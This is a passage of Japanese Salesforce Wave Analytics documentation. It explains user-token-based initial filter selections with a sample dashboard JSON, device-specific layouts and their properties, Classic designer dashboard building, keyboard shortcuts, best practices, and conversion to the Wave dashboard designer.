ログインユーザに基づいた初期検索条件選択の動的な設定
初期検索条件選択を設定して、ログインユーザに関連する情報を表示できます。たとえば、各営業担当にそれ
ぞれの営業商談と営業パフォーマンスのみが表示されるように営業ダッシュボードを絞り込むことができま
す。ログインユーザのユーザ ID、ユーザ名、ロール ID、ロール名に基づいて初期検索条件選択を設定できま
す。
Salesforce ユーザトークン (user.id、user.name、user.rolename、user.roleid) に基づいて初期選択を設
定できます。これらのトークンの値は、実行時に Wave によってデータセットではなく Salesforce 環境変数から
取得されます。

メモ: ユーザトークンは、ステップの他の部分 (クエリの検索条件やグルーピングなど) では使用できませ
ん。

例: ダッシュボードを開いたときに、現在ログインしているユーザの名前に基づいて動的にグラフを絞り
込みたいとします。
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検索条件を追加するには、リストウィジェットを作成してからダッシュボード JSON でウィジェットのス
テップ (Owner_Name_1) の user.name トークンに基づいて初期検索条件選択を追加します。この選択に
より、次のグラフが絞り込まれます。
• ドーナツグラフ (そのステップ (Owner_Name_3) がステップ Owner_Name_1 でファセットされるため)

• 棒グラフ (そのステップ (Owner_Username_3) にステップ Owner_Name_1 に基づくバインドが含まれ
るため)

次に、初期検索条件が設定された後のダッシュボード JSON を示します。
{

"label": "My Sales",
"state": {

"gridLayouts": [
…
],
"layouts": [],
"steps": {

"Owner_Name_1": {
"datasets": [

{
"id": "0FbB00000000pNNKAY",
"label": "Opportunities",
"name": "opportunity",

"url": "/services/data/v38.0/wave/datasets/0FbB00000000pNNKAY"
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}
],
"isFacet": true,
"isGlobal": false,
"query": {

"measures": [
[

"count",
"*"

]
],
"groups": [

"Owner.Name"
]

},
"selectMode": "multi",
"start": [

"!{User.Name}"
],
"type": "aggregateflex",
"useGlobal": false,
"visualizationParameters": {

"options": {}
}

},
"Owner_Name_3": {

"datasets": [
{

"id": "0FbB00000000pNNKAY",
"label": "Opportunities",
"name": "opportunity",

"url": "/services/data/v38.0/wave/datasets/0FbB00000000pNNKAY"

}
],
"isFacet": true,
"isGlobal": false,
"query": {

"measures": [
[

"count",
"*"

]
],
"groups": [

"Owner.Name"
],
"order": [

[
-1,
{

"ascending": false
}

]
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]
},
"selectMode": "single",
"type": "aggregateflex",
"useGlobal": true,
"visualizationParameters": {

"visualizationType": "hbar",
"options": {}

}
},
"Owner_Username_3": {

"datasets": [
{

"id": "0FbB00000000pNNKAY",
"label": "Opportunities",
"name": "opportunity",

"url": "/services/data/v38.0/wave/datasets/0FbB00000000pNNKAY"

}
],
"isFacet": false,
"isGlobal": false,
"query": {

"measures": [
[

"sum",
"Amount"

]
],
"groups": [

"Owner.Name"
],
"filters": [

[
"Owner.Name",
"{{column(Owner_Name_1.selection,

[\"Owner.Name\"]).asObject()}}",
"in"

]
],
"order": [

[
-1,
{

"ascending": false
}

]
]

},
"selectMode": "multi",
"type": "aggregateflex",
"useGlobal": true,
"visualizationParameters": {

"visualizationType": "hbar",
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"options": {}
}

}
},
"widgetStyle": {

"backgroundColor": "#FFFFFF",
"borderColor": "#E6ECF2",
"borderEdges": [],
"borderRadius": 0,
"borderWidth": 1

},
"widgets": {

"listselector_2": {
"parameters": {

"compact": false,
"expanded": true,
"exploreLink": false,
"instant": true,
"measureField": "count",
"step": "Owner_Name_1",
"title": "Owner.Name"

},
"type": "listselector"

},
"chart_2": {

"parameters": {
"autoFitMode": "fit",
"showValues": true,
"legend": {

"showHeader": true,
"show": true,
"position": "right-top",
"inside": false

},
"axisMode": "sync",
"visualizationType": "hbar",
"exploreLink": true,
"title": {

"label": "Bound Chart",
"align": "left",
"subtitleLabel": ""

},
"trellis": {

"enable": false,
"type": "x",
"chartsPerLine": 4

},
"measureAxis2": {

"showTitle": true,
"showAxis": true,
"title": ""

},
"measureAxis1": {

"showTitle": true,
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"showAxis": true,
"title": ""

},
"theme": "wave",
"step": "Owner_Username_3",
"dimensionAxis": {

"showTitle": true,
"showAxis": true,
"title": ""

}
},
"type": "chart"

},
"chart_4": {

"parameters": {
"visualizationType": "pie",
"exploreLink": true,
"title": {

"label": "Faceted Chart",
"align": "left",
"subtitleLabel": ""

},
"step": "Owner_Name_3",
"theme": "wave",
"legend": {

"show": true,
"showHeader": true,
"inside": false,
"position": "right-top"

},
"trellis": {

"enable": false,
"type": "x",
"chartsPerLine": 4

},
"showMeasureTitle": true,
"showTotal": true,
"inner": 70

},
"type": "chart"

},
"container_1": {

"type": "container",
"parameters": {

"documentId": "",
"fit": "original",
"alignmentX": "left",
"alignmentY": "top"

}
}

}
},
"datasets": [

{
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"id": "0FbB00000000pNNKAY",
"label": "Opportunities",
"name": "opportunity",
"url": "/services/data/v38.0/wave/datasets/0FbB00000000pNNKAY"

}
]

}

ダッシュボード JSON の編集についての詳細は、『Wave Analytics ダッシュボード JSON リファレンス』を参照し
てください。

各種のデバイス固有の Wave ダッシュボードレイアウトの生成
ウィジェットをダッシュボードに追加したら、ダッシュボードを表示可能な各デバイスのレイアウトを最適化
します。たとえば、携帯電話のレイアウトからウィジェットを削除して、小型画面向けにダッシュボードのサ
イズを縮小することができます。また、1 つのレイアウト上でウィジェットをあちこち動かすことができ、他
のレイアウトに影響することもありません。
新規レイアウトを生成すると、Wave は現在選択されているレイアウトから新規レイアウトへウィジェットを
追加します。レイアウトごとに異なるウィジェットを追加できるので、このステップは重要です。レイアウト
の生成を開始する前に、新規レイアウトに追加するウィジェットを含むレイアウトを選択します。

メモ: モバイルレイアウトではすべてのグラフを表示できますが、一部のグラフはモバイルデバイスでサ
ポートされていません。詳細は、「Salesforce Analytics for iOS の使用制限」を参照してください。

1. Wave ダッシュボードデザイナでダッシュボードを開いた後、[レイアウト] メニューから[レイアウトを管理]

を選択します。

2. レイアウトテンプレートを選択して、一意のレイアウト名を入力します。
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レイアウトテンプレートごとにレイアウトプロパティが事前定義されていますが、変更できます。

3. [生成] をクリックします。
レイアウトのプロパティが新規レイアウトに表示されます。必要に応じて、 をクリックして [レイアウ
ト] パネルを表示します。

4. [レイアウト] パネルで、次のセクションを展開し、必要に応じて、デフォルトのプロパティを変更します。
一般情報

レイアウト名、デザイナのグリッド設定、背景色を設定します。
デバイス

このレイアウトを使用するデバイスに関する情報を指定します。Wave でこれらのプロパティがどのよ
うに使用されて、適切なレイアウトが選択されるかについての詳細は、「デバイスのレイアウトの選択
における Wave のルール」を参照してください。

背景画像
このレイアウトを使用する場合、ダッシュボード全体に背景画像を適用するには、背景画像の詳細を入
力します。背景画像を追加する必要はありません。

デザイナで、レイアウトプロパティ設定に基づいたダッシュボードとレイアウトのプレビューをします。
デザイナではプレビューがリアルタイムで更新されるため、変更によって表示がどのように変化するかを
確認できます。最大ダッシュボード幅を縮小すると、このレイアウトを使用した場合にダッシュボードを
どのように適合させるかがデザイナに示されます。必要な場合はデザイナでこの新しいサイズに合わせて
ウィジェットが再配置されます。
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5. 必要に応じて、ウィジェットの配置を変更します。
6. レイアウトのウィジェットを非表示にするには、ウィジェットを選択して、 をクリックします。

ウィジェットを非表示にすると、レイアウトプロパティの [未使用のウィジェット] セクションに表示され
ます。

7. 未使用のウィジェットをレイアウトに追加するには、[未使用のウィジェット] セクションからキャンバス
へウィジェットをドラッグします。

8. 新しいウィジェットを追加するには、ウィジェットをウィジェットツールバーからキャンバスにドラッグ
します。

メモ:  Wave で現在のレイアウトのみにウィジェットが追加されます。

9. レイアウトの変更とダッシュボードを保存するには、 をクリックします。
10. レイアウトを削除するには、[レイアウト] メニューで [レイアウトを管理] をクリックして、レイアウトの

横にある をクリックします。
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Wave ダッシュボードのレイアウトのプロパティ
レイアウトのプロパティでは、レイアウト名、デザイナのグリッド設定、背景設定、このレイアウトを使
用できるデバイスの要件を指定します。プロパティは、Wave ダッシュボードデザイナで作成されたダッ
シュボードのみに適用されます。
デバイスのレイアウトの選択における Wave のルール
ダッシュボードに複数のレイアウトが定義されている場合は、デバイスにダッシュボードを表示するとき
に Wave が最適なレイアウトを選択します。Wave では、各レイアウトに指定されているデバイスプロパティ
を使用して最適なレイアウトを決定します。Wave のロジックを理解することで、プロパティを適切に設定
できます。

Wave ダッシュボードのレイアウトのプロパティ
レイアウトのプロパティでは、レイアウト名、デザイナのグリッド設定、背景設定、このレイアウトを使用で
きるデバイスの要件を指定します。プロパティは、Wave ダッシュボードデザイナで作成されたダッシュボー
ドのみに適用されます。

一般属性
次の一般属性は指定されたレイアウトに適用されます。

説明プロパティ

レイアウトの名前。名前

Wave デザイナのグリッドの列数。列数が増えるほど
レイアウトの精度が高まります。

列
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説明プロパティ

Wave デザイナのグリッドの行の高さ。値は [標準] と
[詳細] です。[詳細] オプションを使用すると、縦方向

行の高さ

の間隔が 0 に設定されます。これを変更することはで
きません。Wave はウィジェットを読みやすくしてそ
の相対サイズを維持するように、列数と行の高さに基
づいてウィジェットのデフォルトサイズを決定しま
す。

Wave デザイナのグリッドのセル間の横方向および縦
方向の間隔 (ピクセル単位)。

セルのスペーシング

ダッシュボードが使用可能な最大幅 (ピクセル単位)。
必要な場合は Wave で、レイアウトのこの設定に基づ

最大ダッシュボード幅

いて、既存のダッシュボードウィジェットが再配置さ
れます。

次の領域の背景色を設定できます。
グリッド

Wave デザイナのグリッドの色。

背景色

余白
デバイスの画面がダッシュボードの最大幅よりも
広い場合に表示される余白の色。

デバイスプロパティ
Wave では、次の値を使用して、ダッシュボードにアクセスするデバイスにとって最適なレイアウトを選択し
ます。

説明プロパティ

このレイアウトでサポートされるデバイスの幅。最小
幅と最大幅 (ピクセル単位) を指定します。

画面幅

このレイアウトでサポートされるデバイスの方向。方向

このレイアウトでサポートされるデバイスのプラット
フォーム。

プラットフォーム

背景画像プロパティ

説明プロパティ

画像のファイル名。画像は、ダッシュボードが含まれ
る Wave アプリケーションのギャラリーで使用できる

画像
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説明プロパティ

必要があります。このプロパティは、Spring '17 以降に
作成された背景画像に適用されます。

画像の 15 文字の ID。画像は Salesforce の [ドキュメント]

タブにアップロードして、[外部参照可] オプションを
画像 ID

有効にする必要があります。このプロパティは、Spring

'17 より前に作成された背景画像に適用されます。

画像を背景に適合させる方法を指定します。画像のスケール

背景画像の縦方向および横方向の配置。画像の配置

デバイスのレイアウトの選択における Wave のルール
ダッシュボードに複数のレイアウトが定義されている場合は、デバイスにダッシュボードを表示するときに
Wave が最適なレイアウトを選択します。Wave では、各レイアウトに指定されているデバイスプロパティを使
用して最適なレイアウトを決定します。Wave のロジックを理解することで、プロパティを適切に設定できま
す。
デバイスに使用するレイアウトを決定する場合、Wave では次のルールが使用されます。
1. ダッシュボードにアクセスするデバイスが、[レイアウト] パネルで設定されたすべてのデバイスプロパティ

を満たす場合、レイアウトは使用に適しています。
2. 複数のレイアウトが使用可能な場合は、最も多くのデバイスプロパティが設定されているレイアウトが使

用されます。デバイスプロパティの設定数が同じレイアウトがある場合は、最後に定義されたレイアウト
が使用されます。

3. デバイスで使用できるレイアウトがない場合、最初に定義されたレイアウトが使用されます。

Classic デザイナを使用したダッシュボードの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

Classic デザイナは、基本的な Wave ダッシュボードを作成できる従来のデザイナ
です。

メモ: Classic デザイナでもダッシュボードを作成できますが、Salesforce.com

では、より多くの機能をサポートし、使いやすい新しいWave ダッシュボー
ドデザイナを使用することをお勧めします。この新しいデザイナは、Classic

デザイナに代わるものです。

1. Classic デザイナでのダッシュボードの作成
Waveダッシュボードを作成する場合、あらかじめパッケージに含まれている
レイアウトを適用することも、空白のキャンバスから独自のレイアウトを作
成することもできます。ダッシュボードを作成するには、Classic デザイナか
新しいWave ダッシュボードデザイナを使用します。この例では、Classic デザ
イナを使用します。
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2. Wave ダッシュボードへの重要業績評価指標の追加
1 つの数値でビジネスの迅速かつ重要な測定を提供できる場合があります。たとえば、未解決のサポート
ケースの合計数や今週新たにオープンしたサポートケースの数は、サービスマネージャにとって便利な主
要総計値です。重要指標を表示する数値ウィジェットをダッシュボードに追加します。

3. Wave ダッシュボードへの視覚化の追加
データの視覚化および操作を行うためのグラフを追加して、データに関するストーリーを伝えます。各グ
ラフは、レンズの基礎となるクエリに基づいています。

4. さまざまな観点からデータを表示するためのウィジェットへの facet の設定
同じデータセットから作成された各ウィジェットには、デフォルトで facet が設定されます。ファセットと
は、1 つのウィジェットを絞り込むと、Wave ダッシュボードの関連するすべてのウィジェットが同じ方法
で絞り込まれることを示します。ウィジェットごとにファセットを有効または無効にできます。

5. Wave ダッシュボードへの画像の追加
ダッシュボードに画像を追加して利用者にコンテキストを提供し、ダッシュボードを読みやすくします。
たとえば、ダッシュボードが複数の商品の売り上げを追跡するように設計されている場合は、商品をロゴ
で区別することを検討します。

6. レンズおよび他のダッシュボードへのリンク
リンクを使用して、Wave ダッシュボードを関連するレンズおよびダッシュボードに関連付けます。この
ウィジェットは、すべてを 1 つのダッシュボードにまとめるのではなく、複数のアセットで分析を分割す
る場合に便利です。また、データの分析経路を作成する場合にも役立ちます。

7. ウィジェットのレンズに関する詳細の表示
Waveダッシュボードのウィジェットに正しいデータが表示されていることを確認するには、ウィジェット
のレンズに関する詳細を表示します。

8. Wave ダッシュボードのクリップされたレンズの絞り込みまたは削除
ダッシュボードのクリップされたレンズを選定して、乱雑さを軽減します。クリップされたレンズのリス
トを絞り込んで、使用されていないレンズを表示し、ダッシュボードから削除できます。

関連トピック:

ダッシュボードの Wave ダッシュボードデザイナへの変換
ダッシュボードとは?

Wave ダッシュボードの作成のベストプラクティス
Wave ダッシュボードおよびレンズのキーボードショートカット
Classic デザイナと Wave ダッシュボードデザイナの主な相違点
Wave ダッシュボードデザイナを使用したダッシュボードの作成
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Classic デザイナでのダッシュボードの作成

ユーザ権限

ダッシュボードを作成す
る
• 「Wave Analytics ダッ

シュボードの作成およ
び編集」

Wave ダッシュボードを作成する場合、あらかじめパッケージに含まれているレ
イアウトを適用することも、空白のキャンバスから独自のレイアウトを作成す
ることもできます。ダッシュボードを作成するには、Classic デザイナか新しい
Wave ダッシュボードデザイナを使用します。この例では、Classic デザイナを使
用します。
このトピックでは、Wave Analyticsのダッシュボードの作成について説明します。
レポートのダッシュボードの作成については、「Salesforce Classicダッシュボード
の作成」の記事を参照してください。
1. ホームページから、[作成] > [ダッシュボード] をクリックします。

レイアウトテンプレートが表示されます。

2. Classic デザイナまたはWave ダッシュボードデザイナで、レイアウトテンプレートを選択するか、空白のダッ
シュボードを作成するオプションを選択します。Wave ダッシュボードデザイナでは、レイアウトテンプ
レートによってダッシュボードが作成されます。ここでは、Classic デザイナを使用して空白のダッシュボー
ドを作成します。

3. [従来のデザイナの空白のダッシュボード] を選択し、[続行] をクリックします。
今までに Wave ダッシュボードデザイナの使用を拒否したことがなければ、[Wave ダッシュボードデザイナ
を使用しますか?] というポップアップが表示されます。

4. [今はしません] を選択します。
Classic デザイナが開きます。
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5. をクリックして、ダッシュボードをアプリケーションに保存します。

6. [保存] をクリックします。

Wave ダッシュボードへの重要業績評価指標の追加
1 つの数値でビジネスの迅速かつ重要な測定を提供できる場合があります。たとえば、未解決のサポートケー
スの合計数や今週新たにオープンしたサポートケースの数は、サービスマネージャにとって便利な主要総計値
です。重要指標を表示する数値ウィジェットをダッシュボードに追加します。
1. 重要業績評価指標を Classic デザイナダッシュボードに追加するには、Opportunity データセットを開き、

をクリックして、パイプラインのすべての商談の合計値を計算します。
a. 基準ピッカーで、左の列から [合計] を選択します。
b. 集計するデータセット項目を右列から選択します。この場合、[金額] を選択します。
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メモ: グルーピングは追加しないでください。本質的に、1 つの数値は 1 つのグループのみで構成され
ます。後で、各種グルーピングの値を表示するグラフを追加します。

2. この画面で続けて別の種類の基準を追加し、このダッシュボードで伝えるストーリーにもっと多くのコン
テキストを加えましょう。たとえば、isWon の [計数] を選択して、成立した商談数を取得することもで
きます。

3. をクリックして、このレンズを Classic デザイナにクリップします。

ヒント: ダッシュボードが複数ある場合、レンズは、最後に開いたダッシュボードにクリップされま
す。

4. Classic デザイナで、数値ウィジェット ( ) をクリックして空の数値ウィジェットを作成し、最初にクリッ
プしたレンズ (金額合計が含まれるレンズ) を選択します。
数値ウィジェットに表示される数値は、レンズで指定した最初 (左端) の基準です。

5. レンズから別の基準を選択したり、別の便利なプロパティを設定したりするには、数値ウィジェットを選
択して、[ウィジェットのプロパティ] セクションでプロパティを設定します。
a. ウィジェットにタイトルを付けます。項目名を引用したデフォルトのタイトルは、利用者にはわかりづ

らい場合があります。
b. 大きな数字の場合、[数値を短縮] を選択して表示される長さを短くします。これにより、2,148,352

のような数字が読みやすい 2M になります。

6. 同じ手順を使用して、2 番目にクリップしたレンズ (成立した商談数を提供するレンズ) に基づいて別の数値
ウィジェットを追加します。
これで、ダッシュボードに 2 つの数値ウィジェットが表示されるようになりました。
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Wave ダッシュボードへの視覚化の追加
データの視覚化および操作を行うためのグラフを追加して、データに関するストーリーを伝えます。各グラフ
は、レンズの基礎となるクエリに基づいています。
次の手順で、利用者が商談パイプラインを分析できる、Classic デザイナダッシュボードの 2 つの対話型グラフ
を作成します。最初の対話型グラフでは、取引先所有者ごとにパイプラインを分析します。2 番目の対話型グ
ラフでは、フェーズごとにパイプラインを分析します。どちらのグラフも、商談数のカウントが含まれていて
グルーピングのない [商談] レンズに基づいています。
1. Sales Pipeline ダッシュボードが開いていることを確認します。

レンズをクリップするには、ダッシュボードを開いておく必要があります。

メモ: 開いているダッシュボードがない場合、Wave はダッシュボードを作成します。

2. ホームページから、[商談] レンズを開きます。
3. データを取引先所有者でグループ化します。

4. をクリックして、レンズをダッシュボードにクリップします。
5. [取引先所有者] グルーピングを [フェーズ名] グルーピングに変更します。

グルーピングを変更するには、グルーピングをクリックして新しいグルーピングを選択します。
6. レンズをダッシュボードにクリップします。
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両方のレンズをダッシュボードにクリップしたので、それらのレンズに基づいてグラフを作成しましょう。
7. Classic デザイナで Sales Pipeline ダッシュボードを表示します。

8. Classic デザイナでグラフウィジェットをクリックして、最初にクリップしたレンズ (取引先所有者別にグルー
プ化された商談数が含まれるレンズ) を選択します。
グラフには、クリップされたレンズの基礎となるクエリの結果が表示されます。

9. クリップされたもう一方のレンズ (フェーズ名でグループ化されるレンズ) に基づいて別のグラフを作成し
ます。
新しいグラフウィジェットには、フェーズごとの商談数が表示されます。
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10. をクリックして、プレゼンテーションモードでダッシュボードを表示します。
ダッシュボードに利用者のビューが表示されています。これで質問をする準備ができました。

さまざまな観点からデータを表示するためのウィジェットへの facet の設定
同じデータセットから作成された各ウィジェットには、デフォルトで facet が設定されます。ファセットとは、
1 つのウィジェットを絞り込むと、Waveダッシュボードの関連するすべてのウィジェットが同じ方法で絞り込
まれることを示します。ウィジェットごとにファセットを有効または無効にできます。
Classic デザイナダッシュボードに追加した数値ウィジェットとグラフウィジェットを使用して、ファセットが
どのように動作するのかを見ていきましょう。
1. Sales Pipeline ダッシュボードで、取引先所有者でグループ化された商談数が表示されるグラフの最初の棒を

クリックします。
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最初の棒が強調表示され、その他のウィジェットの結果が変わります。facet により、数値ウィジェットと
もう一方のグラフに、選択した取引先所有者のみの結果が表示されます。各ウィジェットには、異なる観
点から見た同じデータセットが表示されます。同じデータセットから作成された各ウィジェットには、デ
フォルトで facet が設定されます。

2. 最初の棒を再度クリックし、取引先所有者に基づく絞り込みを削除します。
すべての取引先所有者の結果が表示されます。

3. フェーズ名でグループ化された商談数が表示されるグラフで、最初の棒をクリックします。
取引先所有者グラフが変更され、選択したフェーズで各営業担当者が担当する商談の金額が表示されます。
このフェーズで商談を担当しているのは Mark しかいないので、取引先所有者グラフには Mark のみが表示さ
れます。

4734

Wave ダッシュボードの構築分析



4. 特定のウィジェットの facet を無効にするには、レンズのプロパティの [このレンズをファセット] オプショ
ンをクリアします。

ヒント: バインドを使用して、さまざまなデータセットから作成されたウィジェットに facet を設定できま
す。詳細は、『Wave Analytics ダッシュボード JSON リファレンス』を参照してください。

Wave ダッシュボードへの画像の追加
ダッシュボードに画像を追加して利用者にコンテキストを提供し、ダッシュボードを読みやすくします。たと
えば、ダッシュボードが複数の商品の売り上げを追跡するように設計されている場合は、商品をロゴで区別す
ることを検討します。
1. 使用する画像を [ドキュメント] にアップロードし、[外部参照可] オプションを選択します。

このオプションを選択しないと、画像がダッシュボードに表示されません。
2. アドレスバーの URL からドキュメントのレコード ID をコピーします。
3. ダッシュボードで、ボックスウィジェットをクリックして、レコード ID をウィジェットのプロパティの[画

像ドキュメント ID] 項目に貼り付けます。

メモ: また、ボックスウィジェットを使用して、ダッシュボードのセクションを網掛けにしたり、ダッ
シュボードに背景色を追加したりすることもできます。たとえば、色付きの領域を使用して、主要な総
計値と検索条件を強調表示できます。

これを行うには、画像を含めずに、ウィジェットのプロパティの [背景色] 項目で背景色を設定します。

関連トピック:

https://help.salesforce.com/apex/HTViewHelpDoc?id=docs_upload.htm

レンズおよび他のダッシュボードへのリンク
リンクを使用して、Wave ダッシュボードを関連するレンズおよびダッシュボードに関連付けます。このウィ
ジェットは、すべてを 1 つのダッシュボードにまとめるのではなく、複数のアセットで分析を分割する場合に
便利です。また、データの分析経路を作成する場合にも役立ちます。
1. ダッシュボードで、リンクアイコンをクリックします。
2. ウィジェットのプロパティで、次のようなリンクのプロパティを指定します。
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対象種別
リンクウィジェットが保存済みレンズ、保存済みダッシュボード、新規レンズのいずれにリンクされる
かを指定します。

対象
リンク先のレンズまたはダッシュボードのアセットを指定します。

メモ: まだ Spring '16 で保存されていないダッシュボードでリンクウィジェットを作成しようとした
ときに、選択リストにアセットが表示されていない場合、アセットを開いてから選択リストでア
セットを探します。

ダッシュボードの状態を含める
有効の場合は、ステップがファセットされたウィジェットで行われた選択が、リンク先のレンズまたは
ダッシュボードに転送されます。ダッシュボードの状態の転送時に、Wave Analyticsはソースダッシュボー
ドのレンズと互換性のあるレンズがリンク先に存在することを検証します。

メモ: 次の場合は、Wave がダッシュボードの状態を転送しません。
• ソースレンズがファセットされていない。
• 対象レンズがソースレンズとは異なるデータセットを使用している。
• 別のダッシュボードにリンクしている場合、対象レンズがソースレンズとは異なるグルーピン

グを使用している。リンク先がレンズの場合、グルーピングによってダッシュボード状態の転
送が回避されることはありません。

テキスト
リンク先アセットにアクセスするためにクリックするリンクの表示ラベルです。

ウィジェットのレンズに関する詳細の表示
Wave ダッシュボードのウィジェットに正しいデータが表示されていることを確認するには、ウィジェットの
レンズに関する詳細を表示します。
1. 編集モードではなくプレゼンテーションモードでダッシュボードを表示しているときに、ウィジェットに

マウスポインタを置き、[ ] をクリックします。
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レンズの詳細が表示されます。
2. データセット、適用される次元、基準、検索条件、ウィジェットのレンズに関するその他の詳細を確認し

ます。

Wave ダッシュボードのクリップされたレンズの絞り込みまたは削除
ダッシュボードのクリップされたレンズを選定して、乱雑さを軽減します。クリップされたレンズのリストを
絞り込んで、使用されていないレンズを表示し、ダッシュボードから削除できます。
1. クリップされたレンズメニューから、[すべてのレンズ]、[有効なレンズ]、または [未使用のレンズ] で絞り

込みます。

2. レンズが使用されていない場合は、必要に応じて[ ]をクリックし、ダッシュボードからレンズを削除で
きます。
レンズがWave Analyticsに保存されている場合、ダッシュボードから削除された後でもレンズは使用可能で、
[レンズ] から開くことができます。

Wave ダッシュボードおよびレンズのキーボードショートカット
キーボードから、いくつかの基本的なアクションを実行できます。ダッシュボードデザイナのショートカット
は、Classic デザイナを使用しているか、Wave ダッシュボードデザイナを使用しているかによって異なります。

説明レンズのキーボードショートカット

デザイナにクリップl

保存s

新規タブにコピーn

削除d

エキスパートエディタモード (JSON エディタ) を開くCtrl + E (Windows)

4737

Wave ダッシュボードの構築分析



説明レンズのキーボードショートカット

Cmd + E (Mac OS)

説明Classic デザイナのキーボードショートカット

ウィジェットを 10 ピクセル単位で移動します。矢印キー

ウィジェットを 1 ピクセル単位で移動します。Ctrl + 矢印キー (Windows)

Cmd + 矢印キー (Mac OS)

ウィジェットのサイズを 10 ピクセル単位で変更しま
す。

Shift + 矢印キー

ウィジェットのサイズを 1 ピクセル単位で変更しま
す。

Ctrl + Shift + 矢印キー (Windows)

Cmd + Shift + 矢印キー (Mac OS)

ウィジェットをキャンバスから削除します。x

ウィジェットを他のウィジェットの下に配置します。[

ウィジェットを他のウィジェットの上に配置します。]

説明Wave ダッシュボードデザイナのキーボードショート
カット

ウィジェットを移動します。矢印キー

ダッシュボードを共有します。c

ダッシュボードを削除します。d

ダッシュボードのプレビューと編集を切り替えます。e

クリップされたレンズを表示したり、ダッシュボード
のレンズを作成したりします。

q

ダッシュボードを最後に保存した状態にリセットしま
す。

r

ダッシュボードを保存します。s

変更をやり直します。x

最後の変更を元に戻します。z

ダッシュボードの選択したウィジェットを削除しま
す。

Delete
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説明Wave ダッシュボードデザイナのキーボードショート
カット

ダッシュボードキャンバスでウィジェットをドラッグ
すると、他のウィジェットが下方にリフローされま
す。

ドラッグ + Shift

メモ: ウィジェットをドラッグしてから、[シフ
ト] キーを押してください。

複数のウィジェットを選択します。Ctrl + クリック (Windows)

Cmd + クリック (Mac OS)

ダッシュボードキャンバスのすべてのウィジェットを
選択します。

Ctrl + A (Windows)

Cmd + A (Mac OS)

説明JSON エディタのキーボードショートカット

JSON が変更されたダッシュボードを表示します。Ctrl + E (Windows)

Cmd + E (Mac OS)

変更を無視して元の JSON を読み込みます。Ctrl + 3 (Windows)

Cmd + 3 (Mac OS)

検索します (正規表現の検索、大文字と小文字を区別
する検索、単語単位の検索を使用可能)。

Ctrl + F (Windows)

Cmd + F (Mac OS)

Wave ダッシュボードの作成のベストプラクティス
ベストプラクティスに従って、便利で効果的ながら、改変の必要が最小限で、データが欠損した場合の空白に
も対処する Wave ダッシュボードを設計して作成します。
• ダッシュボードを作成する前に、設計の次のベストプラクティスを考慮します。

– ダッシュボードの作成を開始する前に、紙やホワイトボードにその概要図を描き出す。
– Wave Analytics のグラフは、基本的には質問をするための手段であり、結論を示すものではない。優れた

ダッシュボードは、ドリルダウンしてより焦点を絞った有益な情報を探すように利用者を導きます。
– 左上から右下へと要素に優先度を付ける。左から右に読む言語の場合、利用者は左上隅から見始めて下

へと向かいます。利用者の言語を考慮して設計します。利用者の時間や注意力が限られている場合は、
重要な要素を目に付きやすい場所に配置します。

– 高位の実用的なグラフを左上付近に置き、補足情報のグラフは下方に置く。
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– 検索条件は、すぐに見つけられるように上部または左側にまとめてグループ化する。コンテナウィジェッ
トを使用すれば、ダッシュボードに検索条件のセクションを設けることができます。

– 一目で把握できる情報は左上に置き、詳細な情報は下に置く。たとえば、当四半期の収益など、単一の
基準を示す数値は左上に置きます。

利用者が一目で知りたい情報を強調します。

– 外観や種類の豊富さではなく、データの特性に基づいてグラフの種類を選択する。たとえば、ほとんど
のグラフに時系列の値の変化が表示される場合、すべてを線グラフにしても問題ありません。

– グラフに長い説明文や表題が必要と思われる場合は、そのグラフが意味あるものかどうかを再検討す
る。適切に選択されたデータは、見ればわかるものです。

– コンテナウィジェットを使用して、ダッシュボードの関連要素を区分して整理する。

• ダッシュボードの作成時は、次のベストプラクティスを考慮します。
– セクションとグラフに表示ラベルを適用し、ダッシュボードにアノテーションを付加する。
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– セクションの定義に色を使用する。

– ダッシュボードがグラフや表で溢れないように、適度のスペースを設ける。必要に応じて 1 つのダッ
シュボードを一連のダッシュボードに分割し、リンクウィジェットを使用してユーザがダッシュボード
間を移動できるようにします。

• ダッシュボードの作成後は、次のベストプラクティスを考慮します。
– ダッシュボードの最終版を確定する前にユーザに確認してもらう。ダッシュボードを Chatter に投稿し

て、フィードバックを求めることが考えられます。ユーザがダッシュボードのウィジェットにアノテー
ションを付加すれば、その内容について会話できます。

関連トピック:

Wave ダッシュボードデザイナを使用したダッシュボードの作成
Classic デザイナを使用したダッシュボードの作成

ダッシュボードの Wave ダッシュボードデザイナへの変換
新機能を利用するために、Classic デザイナで作成されたダッシュボードをWave ダッシュボードデザイナに変換
します。
ダッシュボードの編集時に、[Wave ダッシュボードデザイナ] ボタンをクリックして新しいデザイナに変換し
ます。
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ダッシュボードを新しいデザイナに変換するときに、Wave によってダッシュボードのコピーが作成されます。
ダッシュボードの元のバージョンを削除する前に、新しいバージョンはClassic デザイナで開けないことを認識
しておきます。新しいデザイナで行った変更を、Classic デザイナに変換することはできません。

Wave ダッシュボードデザイナに変換する前の考慮事項
Classic デザイナと Wave デザイナで作成されたダッシュボードのデザインは似ていますが、異なるランタイ
ムエンジンが使用され、異なる JSON 構文があります。ダッシュボードをWave デザイナに変換するときに、
ダッシュボードの特定の要素は正常に変換されない可能性があります。元の動作を保持するには、手動に
よるいくつかの変更が必要な場合があります。

Wave ダッシュボードデザイナに変換する前の考慮事項
Classic デザイナとWave デザイナで作成されたダッシュボードのデザインは似ていますが、異なるランタイムエ
ンジンが使用され、異なる JSON 構文があります。ダッシュボードを Wave デザイナに変換するときに、ダッ
シュボードの特定の要素は正常に変換されない可能性があります。元の動作を保持するには、手動によるいく
つかの変更が必要な場合があります。

ウィジェット
Classic ダッシュボードをWave デザイナに変更するときに、次のウィジェットの問題が発生する可能性がありま
す。
• Wave デザイナでは、ウィジェットが 12 列グリッド内に収まりすべてのウィジェット (コンテナは除く) が重

ならないように、ウィジェットのサイズ変更と再配置が行われます。変換後、Wave デザイナでグリッドへ
のスナップ機能を使用してウィジェットをすばやくサイズ変更および再配置できます。ウィジェットをよ
り正確に配置できるように、グリッドに列を追加することもできます。

• Wave デザイナはピボットテーブルをサポートしていないため、ピボットテーブルをテーブルウィジェット
に変換します。ピボットテーブルのディメンションは、テーブルの列として表示されます。

• Wave デザイナはカレンダーヒートマップ、平行座標、横方向のドットプロット、縦方向のドットプロッ
ト、マトリックスの種類のグラフをサポートしていないため、これらのグラフを棒グラフに変換します。

• 積み上げ縦棒および棒グラフの基準は現在サポートされていないため、これらの基準は並び替えられませ
